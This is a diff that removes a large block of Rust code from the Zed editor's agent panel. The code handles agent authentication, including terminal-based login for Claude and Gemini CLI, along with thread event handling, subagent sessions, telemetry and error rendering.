-        let (configuration_view, subscription) = if let Some(provider_id) = &err.provider_id {
-            let registry = LanguageModelRegistry::global(cx);
-
-            let sub = window.subscribe(&registry, cx, {
-                let provider_id = provider_id.clone();
-                let this = this.clone();
-                move |_, ev, window, cx| {
-                    if let language_model::Event::ProviderStateChanged(updated_provider_id) = &ev
-                        && &provider_id == updated_provider_id
-                        && LanguageModelRegistry::global(cx)
-                            .read(cx)
-                            .provider(&provider_id)
-                            .map_or(false, |provider| provider.is_authenticated(cx))
-                    {
-                        this.update(cx, |this, cx| {
-                            this.reset(window, cx);
-                        })
-                        .ok();
-                    }
-                }
-            });
-
-            let view = registry.read(cx).provider(&provider_id).map(|provider| {
-                provider.configuration_view(
-                    language_model::ConfigurationViewTargetAgent::Other(agent_name),
-                    window,
-                    cx,
-                )
-            });
-
-            (view, Some(sub))
-        } else {
-            (None, None)
-        };
-
-        this.update(cx, |this, cx| {
-            let description = err
-                .description
-                .map(|desc| cx.new(|cx| Markdown::new(desc.into(), None, None, cx)));
-            let auth_state = AuthState::Unauthenticated {
-                pending_auth_method: None,
-                configuration_view,
-                description,
-                _subscription: subscription,
-            };
-            if let Some(connected) = this.as_connected_mut() {
-                connected.auth_state = auth_state;
-                if let Some(view) = connected.active_view()
-                    && view
-                        .read(cx)
-                        .message_editor
-                        .focus_handle(cx)
-                        .is_focused(window)
-                {
-                    this.focus_handle.focus(window, cx)
-                }
-            } else {
-                this.set_server_state(
-                    ServerState::Connected(ConnectedServerState {
-                        auth_state,
-                        active_id: None,
-                        threads: HashMap::default(),
-                        connection,
-                        conversation: cx.new(|_cx| Conversation::default()),
-                    }),
-                    cx,
-                );
-            }
-            cx.notify();
-        })
-        .ok();
-    }
-
-    fn handle_load_error(
-        &mut self,
-        err: anyhow::Error,
-        window: &mut Window,
-        cx: &mut Context<Self>,
-    ) {
-        if let Some(view) = self.active_thread() {
-            if view
-                .read(cx)
-                .message_editor
-                .focus_handle(cx)
-                .is_focused(window)
-            {
-                self.focus_handle.focus(window, cx)
-            }
-        }
-        let load_error = if let Some(load_err) = err.downcast_ref::<LoadError>() {
-            load_err.clone()
-        } else {
-            LoadError::Other(format!("{:#}", err).into())
-        };
-        self.emit_load_error_telemetry(&load_error);
-        self.set_server_state(ServerState::LoadError(load_error), cx);
-    }
-
-    fn handle_agent_servers_updated(
-        &mut self,
-        _agent_server_store: &Entity<project::AgentServerStore>,
-        _event: &project::AgentServersUpdated,
-        window: &mut Window,
-        cx: &mut Context<Self>,
-    ) {
-        // If we're in a LoadError state OR have a thread_error set (which can happen
-        // when agent.connect() fails during loading), retry loading the thread.
-        // This handles the case where a thread is restored before authentication completes.
-        let should_retry = match &self.server_state {
-            ServerState::Loading(_) => false,
-            ServerState::LoadError(_) => true,
-            ServerState::Connected(connected) => {
-                connected.auth_state.is_ok() && connected.has_thread_error(cx)
-            }
-        };
-
-        if should_retry {
-            if let Some(active) = self.active_thread() {
-                active.update(cx, |active, cx| {
-                    active.clear_thread_error(cx);
-                });
-            }
-            self.reset(window, cx);
-        }
-    }
-
-    pub fn workspace(&self) -> &WeakEntity<Workspace> {
-        &self.workspace
-    }
-
-    pub fn title(&self, cx: &App) -> SharedString {
-        match &self.server_state {
-            ServerState::Connected(_) => "New Thread".into(),
-            ServerState::Loading(loading_view) => loading_view.read(cx).title.clone(),
-            ServerState::LoadError(error) => match error {
-                LoadError::Unsupported { .. } => format!("Upgrade {}", self.agent.name()).into(),
-                LoadError::FailedToInstall(_) => {
-                    format!("Failed to Install {}", self.agent.name()).into()
-                }
-                LoadError::Exited { .. } => format!("{} Exited", self.agent.name()).into(),
-                LoadError::Other(_) => format!("Error Loading {}", self.agent.name()).into(),
-            },
-        }
-    }
-
-    pub fn cancel_generation(&mut self, cx: &mut Context<Self>) {
-        if let Some(active) = self.active_thread() {
-            active.update(cx, |active, cx| {
-                active.cancel_generation(cx);
-            });
-        }
-    }
-
-    pub fn is_loading(&self) -> bool {
-        matches!(self.server_state, ServerState::Loading { .. })
-    }
-
-    fn update_turn_tokens(&mut self, cx: &mut Context<Self>) {
-        if let Some(active) = self.active_thread() {
-            active.update(cx, |active, cx| {
-                active.update_turn_tokens(cx);
-            });
-        }
-    }
-
-    fn send_queued_message_at_index(
-        &mut self,
-        index: usize,
-        is_send_now: bool,
-        window: &mut Window,
-        cx: &mut Context<Self>,
-    ) {
-        if let Some(active) = self.active_thread() {
-            active.update(cx, |active, cx| {
-                active.send_queued_message_at_index(index, is_send_now, window, cx);
-            });
-        }
-    }
-
-    fn handle_thread_event(
-        &mut self,
-        thread: &Entity<AcpThread>,
-        event: &AcpThreadEvent,
-        window: &mut Window,
-        cx: &mut Context<Self>,
-    ) {
-        let thread_id = thread.read(cx).session_id().clone();
-        let is_subagent = thread.read(cx).parent_session_id().is_some();
-        match event {
-            AcpThreadEvent::NewEntry => {
-                let len = thread.read(cx).entries().len();
-                let index = len - 1;
-                if let Some(active) = self.thread_view(&thread_id) {
-                    let entry_view_state = active.read(cx).entry_view_state.clone();
-                    let list_state = active.read(cx).list_state.clone();
-                    entry_view_state.update(cx, |view_state, cx| {
-                        view_state.sync_entry(index, thread, window, cx);
-                        list_state.splice_focusable(
-                            index..index,
-                            [view_state
-                                .entry(index)
-                                .and_then(|entry| entry.focus_handle(cx))],
-                        );
-                    });
-                }
-
-                // WebSocket event forwarding for NewEntry is handled by thread_service.rs
-                // (see create_new_thread_sync / handle_follow_up_message / load_thread_from_agent)
-            }
-            AcpThreadEvent::EntryUpdated(index) => {
-                if let Some(entry_view_state) = self
-                    .thread_view(&thread_id)
-                    .map(|active| active.read(cx).entry_view_state.clone())
-                {
-                    entry_view_state.update(cx, |view_state, cx| {
-                        view_state.sync_entry(*index, thread, window, cx)
-                    });
-                }
-
-                // WebSocket event forwarding for EntryUpdated is handled by thread_service.rs
-            }
-            AcpThreadEvent::EntriesRemoved(range) => {
-                if let Some(active) = self.thread_view(&thread_id) {
-                    let entry_view_state = active.read(cx).entry_view_state.clone();
-                    let list_state = active.read(cx).list_state.clone();
-                    entry_view_state.update(cx, |view_state, _cx| view_state.remove(range.clone()));
-                    list_state.splice(range.clone(), 0);
-                }
-            }
-            AcpThreadEvent::SubagentSpawned(session_id) => self.load_subagent_session(
-                session_id.clone(),
-                thread.read(cx).session_id().clone(),
-                window,
-                cx,
-            ),
-            AcpThreadEvent::ToolAuthorizationRequested(_) => {
-                self.notify_with_sound("Waiting for tool confirmation", IconName::Info, window, cx);
-            }
-            AcpThreadEvent::ToolAuthorizationReceived(_) => {}
-            AcpThreadEvent::Retry(retry) => {
-                if let Some(active) = self.thread_view(&thread_id) {
-                    active.update(cx, |active, _cx| {
-                        active.thread_retry_status = Some(retry.clone());
-                    });
-                }
-            }
-            AcpThreadEvent::Stopped => {
-                if let Some(active) = self.thread_view(&thread_id) {
-                    active.update(cx, |active, _cx| {
-                        active.thread_retry_status.take();
-                    });
-                }
-                if is_subagent {
-                    return;
-                }
-
-                let used_tools = thread.read(cx).used_tools_since_last_user_message();
-                self.notify_with_sound(
-                    if used_tools {
-                        "Finished running tools"
-                    } else {
-                        "New message"
-                    },
-                    IconName::ZedAssistant,
-                    window,
-                    cx,
-                );
-
-                let should_send_queued = if let Some(active) = self.active_thread() {
-                    active.update(cx, |active, cx| {
-                        if active.skip_queue_processing_count > 0 {
-                            active.skip_queue_processing_count -= 1;
-                            false
-                        } else if active.user_interrupted_generation {
-                            // Manual interruption: don't auto-process queue.
-                            // Reset the flag so future completions can process normally.
-                            active.user_interrupted_generation = false;
-                            false
-                        } else {
-                            let has_queued = !active.local_queued_messages.is_empty();
-                            // Don't auto-send if the first message editor is currently focused
-                            let is_first_editor_focused = active
-                                .queued_message_editors
-                                .first()
-                                .is_some_and(|editor| editor.focus_handle(cx).is_focused(window));
-                            has_queued && !is_first_editor_focused
-                        }
-                    })
-                } else {
-                    false
-                };
-                if should_send_queued {
-                    self.send_queued_message_at_index(0, false, window, cx);
-                }
-
-                // WebSocket MessageCompleted is emitted by the persistent subscription's
-                // Stopped handler in thread_service.rs (create_new_thread_sync /
-                // load_thread_from_agent). No action needed here.
-
-                self.history.update(cx, |history, cx| history.refresh(cx));
-            }
-            AcpThreadEvent::Refusal => {
-                let error = ThreadError::Refusal;
-                if let Some(active) = self.thread_view(&thread_id) {
-                    active.update(cx, |active, cx| {
-                        active.handle_thread_error(error, cx);
-                        active.thread_retry_status.take();
-                    });
-                }
-                if !is_subagent {
-                    let model_or_agent_name = self.current_model_name(cx);
-                    let notification_message =
-                        format!("{} refused to respond to this request", model_or_agent_name);
-                    self.notify_with_sound(&notification_message, IconName::Warning, window, cx);
-                }
-            }
-            AcpThreadEvent::Error => {
-                if let Some(active) = self.thread_view(&thread_id) {
-                    active.update(cx, |active, _cx| {
-                        active.thread_retry_status.take();
-                    });
-                }
-                if !is_subagent {
-                    self.notify_with_sound(
-                        "Agent stopped due to an error",
-                        IconName::Warning,
-                        window,
-                        cx,
-                    );
-                }
-            }
-            AcpThreadEvent::LoadError(error) => {
-                if let Some(view) = self.active_thread() {
-                    if view
-                        .read(cx)
-                        .message_editor
-                        .focus_handle(cx)
-                        .is_focused(window)
-                    {
-                        self.focus_handle.focus(window, cx)
-                    }
-                }
-                self.set_server_state(ServerState::LoadError(error.clone()), cx);
-            }
-            AcpThreadEvent::TitleUpdated => {
-                let title = thread.read(cx).title();
-                if let Some(active_thread) = self.thread_view(&thread_id) {
-                    let title_editor = active_thread.read(cx).title_editor.clone();
-                    title_editor.update(cx, |editor, cx| {
-                        if editor.text(cx) != title {
-                            editor.set_text(title, window, cx);
-                        }
-                    });
-                }
-                // Notify external system of title change
-                #[cfg(feature = "external_websocket_sync")]
-                {
-                    let acp_thread_id = thread.read(cx).session_id().to_string();
-                    let title_str = thread.read(cx).title().to_string();
-
-                    if let Err(e) = external_websocket_sync::send_websocket_event(
-                        external_websocket_sync::SyncEvent::ThreadTitleChanged {
-                            acp_thread_id,
-                            title: title_str,
-                        }
-                    ) {
-                        log::error!("Failed to send ThreadTitleChanged WebSocket event: {}", e);
-                    }
-                }
-
-                self.history.update(cx, |history, cx| history.refresh(cx));
-            }
-            AcpThreadEvent::PromptCapabilitiesUpdated => {
-                if let Some(active) = self.thread_view(&thread_id) {
-                    active.update(cx, |active, _cx| {
-                        active
-                            .prompt_capabilities
-                            .replace(thread.read(_cx).prompt_capabilities());
-                    });
-                }
-            }
-            AcpThreadEvent::TokenUsageUpdated => {
-                self.update_turn_tokens(cx);
-                self.emit_token_limit_telemetry_if_needed(thread, cx);
-            }
-            AcpThreadEvent::AvailableCommandsUpdated(available_commands) => {
-                let mut available_commands = available_commands.clone();
-
-                if thread
-                    .read(cx)
-                    .connection()
-                    .auth_methods()
-                    .iter()
-                    .any(|method| method.id.0.as_ref() == "claude-login")
-                {
-                    available_commands.push(acp::AvailableCommand::new("login", "Authenticate"));
-                    available_commands.push(acp::AvailableCommand::new("logout", "Authenticate"));
-                }
-
-                let has_commands = !available_commands.is_empty();
-                if let Some(active) = self.active_thread() {
-                    active.update(cx, |active, _cx| {
-                        active.available_commands.replace(available_commands);
-                    });
-                }
-
-                let agent_display_name = self
-                    .agent_server_store
-                    .read(cx)
-                    .agent_display_name(&ExternalAgentServerName(self.agent.name()))
-                    .unwrap_or_else(|| self.agent.name());
-
-                if let Some(active) = self.active_thread() {
-                    let new_placeholder =
-                        placeholder_text(agent_display_name.as_ref(), has_commands);
-                    active.update(cx, |active, cx| {
-                        active.message_editor.update(cx, |editor, cx| {
-                            editor.set_placeholder_text(&new_placeholder, window, cx);
-                        });
-                    });
-                }
-            }
-            AcpThreadEvent::ModeUpdated(_mode) => {
-                // The connection keeps track of the mode
-                cx.notify();
-            }
-            AcpThreadEvent::ConfigOptionsUpdated(_) => {
-                // The watch task in ConfigOptionsView handles rebuilding selectors
-                cx.notify();
-            }
-        }
-        cx.notify();
-    }
-
-    fn authenticate(
-        &mut self,
-        method: acp::AuthMethodId,
-        window: &mut Window,
-        cx: &mut Context<Self>,
-    ) {
-        let Some(connected) = self.as_connected_mut() else {
-            return;
-        };
-        let connection = connected.connection.clone();
-
-        let AuthState::Unauthenticated {
-            configuration_view,
-            pending_auth_method,
-            ..
-        } = &mut connected.auth_state
-        else {
-            return;
-        };
-
-        let agent_telemetry_id = connection.telemetry_id();
-
-        // Check for the experimental "terminal-auth" _meta field
-        let auth_method = connection.auth_methods().iter().find(|m| m.id == method);
-
-        if let Some(terminal_auth) = auth_method
-            .and_then(|a| a.meta.as_ref())
-            .and_then(|m| m.get("terminal-auth"))
-        {
-            // Extract terminal auth details from meta
-            if let (Some(command), Some(label)) = (
-                terminal_auth.get("command").and_then(|v| v.as_str()),
-                terminal_auth.get("label").and_then(|v| v.as_str()),
-            ) {
-                let args = terminal_auth
-                    .get("args")
-                    .and_then(|v| v.as_array())
-                    .map(|arr| {
-                        arr.iter()
-                            .filter_map(|v| v.as_str().map(String::from))
-                            .collect()
-                    })
-                    .unwrap_or_default();
-
-                let env = terminal_auth
-                    .get("env")
-                    .and_then(|v| v.as_object())
-                    .map(|obj| {
-                        obj.iter()
-                            .filter_map(|(k, v)| v.as_str().map(|val| (k.clone(), val.to_string())))
-                            .collect::<HashMap<String, String>>()
-                    })
-                    .unwrap_or_default();
-
-                // Build SpawnInTerminal from _meta
-                let login = task::SpawnInTerminal {
-                    id: task::TaskId(format!("external-agent-{}-login", label)),
-                    full_label: label.to_string(),
-                    label: label.to_string(),
-                    command: Some(command.to_string()),
-                    args,
-                    command_label: label.to_string(),
-                    env,
-                    use_new_terminal: true,
-                    allow_concurrent_runs: true,
-                    hide: task::HideStrategy::Always,
-                    ..Default::default()
-                };
-
-                configuration_view.take();
-                pending_auth_method.replace(method.clone());
-
-                if let Some(workspace) = self.workspace.upgrade() {
-                    let project = self.project.clone();
-                    let authenticate = Self::spawn_external_agent_login(
-                        login,
-                        workspace,
-                        project,
-                        method.clone(),
-                        false,
-                        window,
-                        cx,
-                    );
-                    cx.notify();
-                    self.auth_task = Some(cx.spawn_in(window, {
-                        async move |this, cx| {
-                            let result = authenticate.await;
-
-                            match &result {
-                                Ok(_) => telemetry::event!(
-                                    "Authenticate Agent Succeeded",
-                                    agent = agent_telemetry_id
-                                ),
-                                Err(_) => {
-                                    telemetry::event!(
-                                        "Authenticate Agent Failed",
-                                        agent = agent_telemetry_id,
-                                    )
-                                }
-                            }
-
-                            this.update_in(cx, |this, window, cx| {
-                                if let Err(err) = result {
-                                    if let Some(ConnectedServerState {
-                                        auth_state:
-                                            AuthState::Unauthenticated {
-                                                pending_auth_method,
-                                                ..
-                                            },
-                                        ..
-                                    }) = this.as_connected_mut()
-                                    {
-                                        pending_auth_method.take();
-                                    }
-                                    if let Some(active) = this.active_thread() {
-                                        active.update(cx, |active, cx| {
-                                            active.handle_any_thread_error(err, cx);
-                                        })
-                                    }
-                                } else {
-                                    this.reset(window, cx);
-                                }
-                                this.auth_task.take()
-                            })
-                            .ok();
-                        }
-                    }));
-                }
-                return;
-            }
-        }
-
-        if method.0.as_ref() == "gemini-api-key" {
-            let registry = LanguageModelRegistry::global(cx);
-            let provider = registry
-                .read(cx)
-                .provider(&language_model::GOOGLE_PROVIDER_ID)
-                .unwrap();
-            if !provider.is_authenticated(cx) {
-                let this = cx.weak_entity();
-                let agent_name = self.agent.name();
-                let connection = connection.clone();
-                window.defer(cx, |window, cx| {
-                    Self::handle_auth_required(
-                        this,
-                        AuthRequired {
-                            description: Some("GEMINI_API_KEY must be set".to_owned()),
-                            provider_id: Some(language_model::GOOGLE_PROVIDER_ID),
-                        },
-                        agent_name,
-                        connection,
-                        window,
-                        cx,
-                    );
-                });
-                return;
-            }
-        } else if method.0.as_ref() == "vertex-ai"
-            && std::env::var("GOOGLE_API_KEY").is_err()
-            && (std::env::var("GOOGLE_CLOUD_PROJECT").is_err()
-                || (std::env::var("GOOGLE_CLOUD_PROJECT").is_err()))
-        {
-            let this = cx.weak_entity();
-            let agent_name = self.agent.name();
-            let connection = connection.clone();
-
-            window.defer(cx, |window, cx| {
-                    Self::handle_auth_required(
-                        this,
-                        AuthRequired {
-                            description: Some(
-                                "GOOGLE_API_KEY must be set in the environment to use Vertex AI authentication for Gemini CLI. Please export it and restart Zed."
-                                    .to_owned(),
-                            ),
-                            provider_id: None,
-                        },
-                        agent_name,
-                        connection,
-                        window,
-                        cx,
-                    )
-                });
-            return;
-        }
-
-        configuration_view.take();
-        pending_auth_method.replace(method.clone());
-        let authenticate = if let Some(login) = self.login.clone() {
-            if let Some(workspace) = self.workspace.upgrade() {
-                let project = self.project.clone();
-                Self::spawn_external_agent_login(
-                    login,
-                    workspace,
-                    project,
-                    method.clone(),
-                    false,
-                    window,
-                    cx,
-                )
-            } else {
-                Task::ready(Ok(()))
-            }
-        } else {
-            connection.authenticate(method, cx)
-        };
-        cx.notify();
-        self.auth_task = Some(cx.spawn_in(window, {
-            async move |this, cx| {
-                let result = authenticate.await;
-
-                match &result {
-                    Ok(_) => telemetry::event!(
-                        "Authenticate Agent Succeeded",
-                        agent = agent_telemetry_id
-                    ),
-                    Err(_) => {
-                        telemetry::event!("Authenticate Agent Failed", agent = agent_telemetry_id,)
-                    }
-                }
-
-                this.update_in(cx, |this, window, cx| {
-                    if let Err(err) = result {
-                        if let Some(ConnectedServerState {
-                            auth_state:
-                                AuthState::Unauthenticated {
-                                    pending_auth_method,
-                                    ..
-                                },
-                            ..
-                        }) = this.as_connected_mut()
-                        {
-                            pending_auth_method.take();
-                        }
-                        if let Some(active) = this.active_thread() {
-                            active.update(cx, |active, cx| active.handle_any_thread_error(err, cx));
-                        }
-                    } else {
-                        this.reset(window, cx);
-                    }
-                    this.auth_task.take()
-                })
-                .ok();
-            }
-        }));
-    }
-
-    fn load_subagent_session(
-        &mut self,
-        subagent_id: acp::SessionId,
-        parent_id: acp::SessionId,
-        window: &mut Window,
-        cx: &mut Context<Self>,
-    ) {
-        let Some(connected) = self.as_connected() else {
-            return;
-        };
-        if connected.threads.contains_key(&subagent_id)
-            || !connected.connection.supports_load_session()
-        {
-            return;
-        }
-        let root_dir = self
-            .project
-            .read(cx)
-            .worktrees(cx)
-            .filter_map(|worktree| {
-                if worktree.read(cx).is_single_file() {
-                    Some(worktree.read(cx).abs_path().parent()?.into())
-                } else {
-                    Some(worktree.read(cx).abs_path())
-                }
-            })
-            .next();
-        let cwd = root_dir.unwrap_or_else(|| paths::home_dir().as_path().into());
-
-        let subagent_thread_task = connected.connection.clone().load_session(
-            AgentSessionInfo::new(subagent_id.clone()),
-            self.project.clone(),
-            &cwd,
-            cx,
-        );
-
-        cx.spawn_in(window, async move |this, cx| {
-            let subagent_thread = subagent_thread_task.await?;
-            this.update_in(cx, |this, window, cx| {
-                let conversation = this
-                    .as_connected()
-                    .map(|connected| connected.conversation.clone());
-                let Some(conversation) = conversation else {
-                    return;
-                };
-                conversation.update(cx, |conversation, cx| {
-                    conversation.register_thread(subagent_thread.clone(), cx);
-                });
-                let view = this.new_thread_view(
-                    Some(parent_id),
-                    subagent_thread,
-                    conversation,
-                    false,
-                    None,
-                    None,
-                    window,
-                    cx,
-                );
-                let Some(connected) = this.as_connected_mut() else {
-                    return;
-                };
-                connected.threads.insert(subagent_id, view);
-            })
-        })
-        .detach();
-    }
-
-    fn spawn_external_agent_login(
-        login: task::SpawnInTerminal,
-        workspace: Entity<Workspace>,
-        project: Entity<Project>,
-        method: acp::AuthMethodId,
-        previous_attempt: bool,
-        window: &mut Window,
-        cx: &mut App,
-    ) -> Task<Result<()>> {
-        let Some(terminal_panel) = workspace.read(cx).panel::<TerminalPanel>(cx) else {
-            return Task::ready(Ok(()));
-        };
-
-        window.spawn(cx, async move |cx| {
-            let mut task = login.clone();
-            if let Some(cmd) = &task.command {
-                // Have "node" command use Zed's managed Node runtime by default
-                if cmd == "node" {
-                    let resolved_node_runtime = project
-                        .update(cx, |project, cx| {
-                            let agent_server_store = project.agent_server_store().clone();
-                            agent_server_store.update(cx, |store, cx| {
-                                store.node_runtime().map(|node_runtime| {
-                                    cx.background_spawn(async move {
-                                        node_runtime.binary_path().await
-                                    })
-                                })
-                            })
-                        });
-
-                    if let Some(resolve_task) = resolved_node_runtime {
-                        if let Ok(node_path) = resolve_task.await {
-                            task.command = Some(node_path.to_string_lossy().to_string());
-                        }
-                    }
-                }
-            }
-            task.shell = task::Shell::WithArguments {
-                program: task.command.take().expect("login command should be set"),
-                args: std::mem::take(&mut task.args),
-                title_override: None
-            };
-            task.full_label = task.label.clone();
-            task.id = task::TaskId(format!("external-agent-{}-login", task.label));
-            task.command_label = task.label.clone();
-            task.use_new_terminal = true;
-            task.allow_concurrent_runs = true;
-            task.hide = task::HideStrategy::Always;
-
-            let terminal = terminal_panel
-                .update_in(cx, |terminal_panel, window, cx| {
-                    terminal_panel.spawn_task(&task, window, cx)
-                })?
-                .await?;
-
-            let success_patterns = match method.0.as_ref() {
-                "claude-login" | "spawn-gemini-cli" => vec![
-                    "Login successful".to_string(),
-                    "Type your message".to_string(),
-                ],
-                _ => Vec::new(),
-            };
-            if success_patterns.is_empty() {
-                // No success patterns specified: wait for the process to exit and check exit code
-                let exit_status = terminal
-                    .read_with(cx, |terminal, cx| terminal.wait_for_completed_task(cx))?
-                    .await;
-
-                match exit_status {
-                    Some(status) if status.success() => Ok(()),
-                    Some(status) => Err(anyhow!(
-                        "Login command failed with exit code: {:?}",
-                        status.code()
-                    )),
-                    None => Err(anyhow!("Login command terminated without exit status")),
-                }
-            } else {
-                // Look for specific output patterns to detect successful login
-                let mut exit_status = terminal
-                    .read_with(cx, |terminal, cx| terminal.wait_for_completed_task(cx))?
-                    .fuse();
-
-                let logged_in = cx
-                    .spawn({
-                        let terminal = terminal.clone();
-                        async move |cx| {
-                            loop {
-                                cx.background_executor().timer(Duration::from_secs(1)).await;
-                                let content =
-                                    terminal.update(cx, |terminal, _cx| terminal.get_content())?;
-                                if success_patterns.iter().any(|pattern| content.contains(pattern))
-                                {
-                                    return anyhow::Ok(());
-                                }
-                            }
-                        }
-                    })
-                    .fuse();
-                futures::pin_mut!(logged_in);
-                futures::select_biased! {
-                    result = logged_in => {
-                        if let Err(e) = result {
-                            log::error!("{e}");
-                            return Err(anyhow!("exited before logging in"));
-                        }
-                    }
-                    _ = exit_status => {
-                        if !previous_attempt && project.read_with(cx, |project, _| project.is_via_remote_server()) && login.label.contains("gemini") {
-                            return cx.update(|window, cx| Self::spawn_external_agent_login(login, workspace, project.clone(), method, true, window, cx))?.await
-                        }
-                        return Err(anyhow!("exited before logging in"));
-                    }
-                }
-                terminal.update(cx, |terminal, _| terminal.kill_active_task())?;
-                Ok(())
-            }
-        })
-    }
-
-    pub fn has_user_submitted_prompt(&self, cx: &App) -> bool {
-        self.active_thread().is_some_and(|active| {
-            active
-                .read(cx)
-                .thread
-                .read(cx)
-                .entries()
-                .iter()
-                .any(|entry| {
-                    matches!(
-                        entry,
-                        AgentThreadEntry::UserMessage(user_message) if user_message.id.is_some()
-                    )
-                })
-        })
-    }
-
-    fn render_auth_required_state(
-        &self,
-        connection: &Rc<dyn AgentConnection>,
-        description: Option<&Entity<Markdown>>,
-        configuration_view: Option<&AnyView>,
-        pending_auth_method: Option<&acp::AuthMethodId>,
-        window: &mut Window,
-        cx: &Context<Self>,
-    ) -> impl IntoElement {
-        let auth_methods = connection.auth_methods();
-
-        let agent_display_name = self
-            .agent_server_store
-            .read(cx)
-            .agent_display_name(&ExternalAgentServerName(self.agent.name()))
-            .unwrap_or_else(|| self.agent.name());
-
-        let show_fallback_description = auth_methods.len() > 1
-            && configuration_view.is_none()
-            && description.is_none()
-            && pending_auth_method.is_none();
-
-        let auth_buttons = || {
-            h_flex().justify_end().flex_wrap().gap_1().children(
-                connection
-                    .auth_methods()
-                    .iter()
-                    .enumerate()
-                    .rev()
-                    .map(|(ix, method)| {
-                        let (method_id, name) = if self.project.read(cx).is_via_remote_server()
-                            && method.id.0.as_ref() == "oauth-personal"
-                            && method.name == "Log in with Google"
-                        {
-                            ("spawn-gemini-cli".into(), "Log in with Gemini CLI".into())
-                        } else {
-                            (method.id.0.clone(), method.name.clone())
-                        };
-
-                        let agent_telemetry_id = connection.telemetry_id();
-
-                        Button::new(method_id.clone(), name)
-                            .label_size(LabelSize::Small)
-                            .map(|this| {
-                                if ix == 0 {
-                                    this.style(ButtonStyle::Tinted(TintColor::Accent))
-                                } else {
-                                    this.style(ButtonStyle::Outlined)
-                                }
-                            })
-                            .when_some(method.description.clone(), |this, description| {
-                                this.tooltip(Tooltip::text(description))
-                            })
-                            .on_click({
-                                cx.listener(move |this, _, window, cx| {
-                                    telemetry::event!(
-                                        "Authenticate Agent Started",
-                                        agent = agent_telemetry_id,
-                                        method = method_id
-                                    );
-
-                                    this.authenticate(
-                                        acp::AuthMethodId::new(method_id.clone()),
-                                        window,
-                                        cx,
-                                    )
-                                })
-                            })
-                    }),
-            )
-        };
-
-        if pending_auth_method.is_some() {
-            return Callout::new()
-                .icon(IconName::Info)
-                .title(format!("Authenticating to {}…", agent_display_name))
-                .actions_slot(
-                    Icon::new(IconName::ArrowCircle)
-                        .size(IconSize::Small)
-                        .color(Color::Muted)
-                        .with_rotate_animation(2)
-                        .into_any_element(),
-                )
-                .into_any_element();
-        }
-
-        Callout::new()
-            .icon(IconName::Info)
-            .title(format!("Authenticate to {}", agent_display_name))
-            .when(auth_methods.len() == 1, |this| {
-                this.actions_slot(auth_buttons())
-            })
-            .description_slot(
-                v_flex()
-                    .text_ui(cx)
-                    .map(|this| {
-                        if show_fallback_description {
-                            this.child(
-                                Label::new("Choose one of the following authentication options:")
-                                    .size(LabelSize::Small)
-                                    .color(Color::Muted),
-                            )
-                        } else {
-                            this.children(
-                                configuration_view
-                                    .cloned()
-                                    .map(|view| div().w_full().child(view)),
-                            )
-                            .children(description.map(|desc| {
-                                self.render_markdown(
-                                    desc.clone(),
-                                    MarkdownStyle::themed(MarkdownFont::Agent, window, cx),
-                                )
-                            }))
-                        }
-                    })
-                    .when(auth_methods.len() > 1, |this| {
-                        this.gap_1().child(auth_buttons())
-                    }),
-            )
-            .into_any_element()
-    }
-
-    fn emit_token_limit_telemetry_if_needed(
-        &mut self,
-        thread: &Entity<AcpThread>,
-        cx: &mut Context<Self>,
-    ) {
-        let Some(active_thread) = self.active_thread() else {
-            return;
-        };
-
-        let (ratio, agent_telemetry_id, session_id) = {
-            let thread_data = thread.read(cx);
-            let Some(token_usage) = thread_data.token_usage() else {
-                return;
-            };
-            (
-                token_usage.ratio(),
-                thread_data.connection().telemetry_id(),
-                thread_data.session_id().clone(),
-            )
-        };
-
-        let kind = match ratio {
-            acp_thread::TokenUsageRatio::Normal => {
-                active_thread.update(cx, |active, _cx| {
-                    active.last_token_limit_telemetry = None;
-                });
-                return;
-            }
-            acp_thread::TokenUsageRatio::Warning => "warning",
-            acp_thread::TokenUsageRatio::Exceeded => "exceeded",
-        };
-
-        let should_skip = active_thread
-            .read(cx)
-            .last_token_limit_telemetry
-            .as_ref()
-            .is_some_and(|last| *last >= ratio);
-        if should_skip {
-            return;
-        }
-
-        active_thread.update(cx, |active, _cx| {
-            active.last_token_limit_telemetry = Some(ratio);
-        });
-
-        telemetry::event!(
-            "Agent Token Limit Warning",
-            agent = agent_telemetry_id,
-            session_id = session_id,
-            kind = kind,
-        );
-    }
-
-    fn emit_load_error_telemetry(&self, error: &LoadError) {
-        let error_kind = match error {
-            LoadError::Unsupported { .. } => "unsupported",
-            LoadError::FailedToInstall(_) => "failed_to_install",
-            LoadError::Exited { .. } => "exited",
-            LoadError::Other(_) => "other",
-        };
-
-        let agent_name = self.agent.name();
-
-        telemetry::event!(
-            "Agent Panel Error Shown",
-            agent = agent_name,
-            kind = error_kind,
-            message = error.to_string(),
-        );
-    }
-
-    fn render_load_error(
-        &self,
-        e: &LoadError,
-        window: &mut Window,
-        cx: &mut Context<Self>,
-    ) -> AnyElement {
-        let (title, message, action_slot): (_, SharedString, _) = match e {
-            LoadError::Unsupported {
-                command: path,
-                current_version,
-                minimum_version,
-            } => {
-                return self.render_unsupported(path, current_version, minimum_version, window, cx);
-            }
-            LoadError::FailedToInstall(msg) => (
-                "Failed to Install",
-                msg.into(),
-                Some(self.create_copy_button(msg.to_string()).into_any_element()),
-            ),
-            LoadError::Exited { status } => (
-                "Failed to Launch",
-                format!("Server exited with status {status}").into(),
-                None,
-            ),
-            LoadError::Other(msg) => (
-                "Failed to Launch",
-                msg.into(),
-                Some(self.create_copy_button(msg.to_string()).into_any_element()),
-            ),
-        };
-
-        Callout::new()
-            .severity(Severity::Error)
-            .icon(IconName::XCircleFilled)
-            .title(title)
-            .description(message)
-            .actions_slot(div().children(action_slot))
-            .into_any_element()
-    }
-
-    fn render_unsupported(
-        &self,
-        path: &SharedString,
-        version: &SharedString,
-        minimum_version: &SharedString,
-        _window: &mut Window,
-        cx: &mut Context<Self>,
-    ) -> AnyElement {
-        let (heading_label, description_label) = (
-            format!("Upgrade {} to work with Zed", self.agent.name()),
-            if version.is_empty() {
-                format!(
-                    "Currently using {}, which does not report a valid --version",
-                    path,
-                )
-            } else {
-                format!(
-                    "Currently using {}, which is only version {} (need at least {minimum_version})",
-                    path, version
-                )
-            },
-        );
-
-        v_flex()
-            .w_full()
-            .p_3p5()
-            .gap_2p5()
-            .border_t_1()
-            .border_color(cx.theme().colors().border)
-            .bg(linear_gradient(
-                180.,
-                linear_color_stop(cx.theme().colors().editor_background.opacity(0.4), 4.),
-                linear_color_stop(cx.theme().status().info_background.opacity(0.), 0.),
-            ))
-            .child(
-                v_flex().gap_0p5().child(Label::new(heading_label)).child(
-                    Label::new(description_label)
-                        .size(LabelSize::Small)
-                        .color(Color::Muted),
